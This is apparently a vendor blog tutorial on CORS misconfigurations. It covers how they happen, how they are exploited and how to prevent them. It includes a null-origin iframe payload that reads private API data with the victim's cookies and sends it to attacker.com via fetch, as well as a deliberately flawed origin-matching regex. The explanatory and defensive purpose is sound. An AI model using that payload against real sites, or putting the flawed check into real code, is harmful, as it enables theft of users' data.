What is CORS Misconfiguration? Ways to Exploit, Examples and Impact
Learn how CORS misconfigurations lead to data theft. Explore technical examples, exploitation methods, and best practices for securing your API origins.
Cross-Origin Resource Sharing (CORS) is a vital security feature, yet it remains one of the most misunderstood and misconfigured web technologies in modern development. While intended to safely bypass the Same-Origin Policy (SOP), incorrect settings can turn a secure API into an open door for attackers. In this guide, we will explore what CORS misconfiguration is, how it is exploited, and how to secure your infrastructure against these common vulnerabilities.
Understanding the Same-Origin Policy (SOP)
To understand CORS, one must first understand the Same-Origin Policy (SOP). Introduced by Netscape in 1995, SOP is a fundamental security mechanism that restricts how a document or script loaded from one origin can interact with a resource from another origin.
An "origin" is defined by a combination of three elements: the protocol (e.g., https), the domain (e.g., example.com), and the port (e.g., 443). If any of these three elements differ, the request is considered cross-origin. For example, a script running on https://app.example.com cannot normally read the content of a response from https://api.example.com or http://app.example.com because they are different origins.
SOP is critical because it prevents malicious websites from making unauthorized requests to other sites where a user might be authenticated. Without SOP, if you visited a malicious site while logged into your bank, the malicious site could use your browser to send a request to bank.com/transfer-funds and read the response.
What is CORS and Why Do We Need It?
While SOP is great for security, it is often too restrictive for modern web applications that rely on multiple microservices, third-party APIs, and CDNs. Developers needed a way to allow legitimate cross-origin requests.
Cross-Origin Resource Sharing (CORS) was developed as a W3C standard to relax the SOP in a controlled manner. It uses a set of HTTP headers that allow servers to describe which origins are permitted to read information from that server. When a browser performs a cross-origin request, it automatically includes an Origin header. The server then responds with headers like Access-Control-Allow-Origin to tell the browser whether the request is allowed.
Key CORS Headers
- Origin: Sent by the browser to indicate the source of the request.
- Access-Control-Allow-Origin (ACAO): Sent by the server to specify which origins can access the resource.
- Access-Control-Allow-Credentials (ACAC): Indicates whether the browser should include cookies and HTTP authentication with the request.
- Access-Control-Allow-Methods: Specifies the HTTP methods (GET, POST, etc.) allowed for cross-origin requests.
- Access-Control-Allow-Headers: Specifies which HTTP headers can be used during the actual request.
Common CORS Misconfigurations
A CORS misconfiguration occurs when a server's CORS policy is too permissive, allowing unauthorized origins to interact with sensitive data. This usually happens when developers prioritize functionality over security or misunderstand how CORS headers interact.
1. Reflected Origin (The Echo Effect)
Many developers want to support multiple subdomains or external partners. Instead of maintaining a strict whitelist, they program the server to read the Origin header from the incoming request and echo it back in the Access-Control-Allow-Origin header.
The Vulnerable Request:
GET /api/user-profile HTTP/1.1
Host: victim.com
Origin: https://attacker.com
Cookie: sessionid=secret_cookie_123
The Vulnerable Response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
Content-Type: application/json
{
"username": "admin",
"email": "admin@victim.com",
"api_key": "7b8c9d0e1f2a3b4c"
}
By echoing the Origin header and setting Access-Control-Allow-Credentials: true, the server tells the browser that attacker.com is allowed to read the response, even though it contains sensitive user data authenticated by cookies.
2. Wildcard with Credentials
A common mistake is attempting to use a wildcard (*) in the ACAO header while also enabling credentials. However, browsers actually block this combination for security reasons. To get around this, developers often revert to the "Reflected Origin" pattern described above, which is even more dangerous because it effectively creates a wildcard that does support credentials.
3. The "Null" Origin Misconfiguration
The null origin is used in specific cases, such as redirects or when using the data: scheme. Some developers whitelist the null origin to facilitate local testing or specific redirect flows.
The Vulnerable Header:Access-Control-Allow-Origin: null
An attacker can exploit this by using a sandboxed iframe or a data URI to generate a request with a null origin.
Exploit Payload:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://victim.com/api/private-data', true);
xhr.withCredentials = true;
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
fetch('https://attacker.com/log?data=' + btoa(xhr.responseText));
}
};
xhr.send();
</script>"></iframe>
4. Poor Regex and Suffix Matching
When implementing a whitelist, developers often use regular expressions to validate the origin. If the regex is poorly written, it can be bypassed. For example, if the server checks if the origin starts with https://victim.com, an attacker can register https://victim.com.attacker.com.
Alternatively, if the server checks if the origin ends with victim.com, an attacker can register notvictim.com.
Example of a Bad Regex (Node.js/Express):
app.use((req, res, next) => {
const origin = req.headers.origin;
if (origin && origin.match(/victim\.com$/)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
next();
});
In this case, an origin like https://attacker-victim.com would pass the check.
Ways to Exploit CORS Misconfigurations
Exploitation of CORS usually involves a "Cross-Site Request Forgery" (CSRF) style attack, but with the added ability to read the response. In a standard CSRF attack, an attacker can send a request but cannot see what the server sends back. With a CORS misconfiguration, the attacker can steal sensitive information, tokens, and PII.
Step-by-Step Exploitation Scenario
- Discovery: The attacker finds an endpoint on
api.target.comthat returns sensitive data and has a misconfigured CORS policy (e.g., reflecting theOriginheader). - Hosting the Payload: The attacker hosts a malicious JavaScript file on
attacker.com. - Luring the Victim: The attacker tricks a logged-in user of
target.cominto visitingattacker.com. - Execution: The script on
attacker.commakes an asynchronous request toapi.target.comusing the victim's browser and session cookies. - Exfiltration: Because of the misconfiguration, the browser allows the script to read the response. The script then sends the stolen data back to the attacker's server.
Advanced Exploitation: Bypassing CSRF Protections
Many modern applications use custom HTTP headers (like X-CSRF-Token) to prevent CSRF. However, if the CORS policy allows custom headers from an attacker's origin, the attacker can perform a two-step attack:
- Perform a GET request to retrieve the CSRF token.
- Perform a POST request using the stolen token to change the user's password or email.
Impact of CORS Misconfigurations
The impact of a CORS vulnerability is directly proportional to the sensitivity of the data exposed by the misconfigured endpoint.
- Data Theft: Accessing PII (Personally Identifiable Information), financial records, or private messages.
- Account Takeover: Stealing API keys or CSRF tokens that allow the attacker to perform actions on behalf of the user.
- Bypassing Intranet Security: If an internal tool has a weak CORS policy, an attacker can use a victim's browser as a proxy to steal data from the internal network.
How to Prevent CORS Misconfigurations
Securing CORS requires a "default deny" mindset. Here are the best practices for implementing a secure CORS policy:
- Avoid Wildcards and Reflected Origins: Never use
Access-Control-Allow-Origin: *or echo theOriginheader for endpoints that require authentication or handle sensitive data. - Use a Strict Whitelist: Explicitly list the allowed origins. If you have many subdomains, validate them against a strict, hard-coded list or a very precise regular expression (including the protocol and dots).
- Validate the Origin Header: On the server side, ensure the
Originheader is exactly what you expect. If it doesn't match your whitelist, do not return any CORS headers. - Avoid Whitelisting "null": There are very few legitimate reasons to whitelist the
nullorigin. Avoid it entirely if possible. - Use the Vary: Origin Header: If your server supports multiple origins, ensure you include the
Vary: OriginHTTP header. This tells caches (like CDNs) that the response varies based on the origin, preventing a situation where a response meant for a malicious origin is cached and served to a legitimate user.
Secure Implementation Example (Node.js)
const allowedOrigins = ['https://www.example.com', 'https://app.example.com'];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Vary', 'Origin');
}
next();
});
Conclusion
CORS is a powerful tool for modern web development, but it is a double-edged sword. A single oversight in your CORS configuration can negate years of work spent on other security measures like CSRF protection or secure cookies. By understanding the mechanics of the Same-Origin Policy and the common pitfalls of CORS headers, developers and security professionals can ensure that their applications remain open for business but closed to attackers.
To proactively monitor your organization's external attack surface and catch exposures like CORS misconfigurations before attackers do, try Jsmon.